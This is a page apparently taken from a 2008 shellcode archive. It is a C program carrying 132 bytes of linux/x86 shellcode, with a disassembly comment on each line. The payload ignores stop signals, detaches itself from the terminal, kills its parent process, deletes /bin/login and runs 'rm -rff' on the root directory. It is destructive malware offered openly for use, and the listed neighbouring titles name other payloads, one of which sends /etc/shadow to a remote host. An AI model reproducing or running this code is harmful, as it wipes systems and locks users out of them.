[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : linux/x86 rm -rf / attempts to block the process from being stopped
# Published : 2008-08-18
# Author : onionring
# Previous Title : linux/x86 connect back.send.exit /etc/shadow 155 bytes
# Next Title : linux/x86 setuid(0) . setgid(0) . aslr_off 79 bytes


/*
x86 linux rm -rf / which attempts to block the process from being stopped
132 bytes
written by onionring
*/

main()
{
 char shellcode[] =
"x31xC0"              // xor eax, eax
"x89xC3"              // mov ebx, eax
"x89xC1"              // mov ecx, eax
"x41"                  // inc ecx
"xB0x30"              // mov al, 0x30 ; sys_signal
"xCDx80"              // int 0x80
"x31xC0"              // xor eax, eax
"xFExC3"              // inc bl
"x80xFBx1F"          // cmp bl, 0x1f
"x72xF3"              // jb 0xf3
"x04x40"              // add al, 0x40 ; sys_getppid
"xCDx80"              // int 0x80
"x89xC2"              // mov edx, eax
"x31xC0"              // xor eax, eax
"xB0x02"              // mov al, 0x2 ; sys_fork
"xCDx80"              // int 0x80
"x39xC0"              // cmp eax, eax
"x74x08"              // jnz 0x8
"x31xC0"              // xor eax, eax
"x89xC3"              // mov ebx, eax
"xB0x01"              // mov al, 0x1 ; sys_exit
"xCDx80"              // int 0x80
"x31xC0"              // xor eax, eax
"xB0x42"              // mov al, 0x42 ; sys_setsid
"xCDx80"              // int 0x80
"x43"                  // inc ebx
"x39xDA"              // cmp edx, ebx
"x74x08"              // jz 0x8
"x89xD3"              // mov ebx, edx
"x31xC0"              // xor eax, eax
"x04x25"              // add al, 0x25 ; sys_kill
"xCDx80"              // int 0x80
"x31xC0"              // xor eax, eax
"x50"                  // push eax
"x68x6Fx67x69x6E"  // push "ogin"
"x68x69x6Ex2Fx6C"  // push "in/l"
"x68x2Fx2Fx2Fx62"  // push "///b"
"x89xE3"              // mov ebx, esp
"x31xC0"              // xor eax, eax
"x04x0A"              // add al, 0xa ; sys_unlink
"xCDx80"              // int 0x80
"x31xC0"              // xor eax, eax
"x50"                  // push eax
"x68x2Fx2Fx2Fx2F"  // push "////"
"x89xE2"              // mov edx, esp
"x50"                  // push eax
"x68x2Dx72x66x66"  // push "-rff"
"x89xE1"              // mov ecx, esp
"x50"                  // push eax
"x68x6Ex2Fx72x6D"  // push "n/rm"
"x68x2Fx2Fx62x69"  // push "//bi"
"x89xE3"              // mov ebx, esp
"x50"                  // push eax
"x52"                  // push edx
"x51"                  // push ecx
"x53"                  // push ebx
"x89xE1"              // mov ecx, esp
"x31xD2"              // xor edx, edx
"x04x0B"              // add al, 0xb ; sys_execve
"xCDx80";             // int 0x80

 (*(void (*)()) shellcode)();
}

// www.Syue.com [2008-08-18]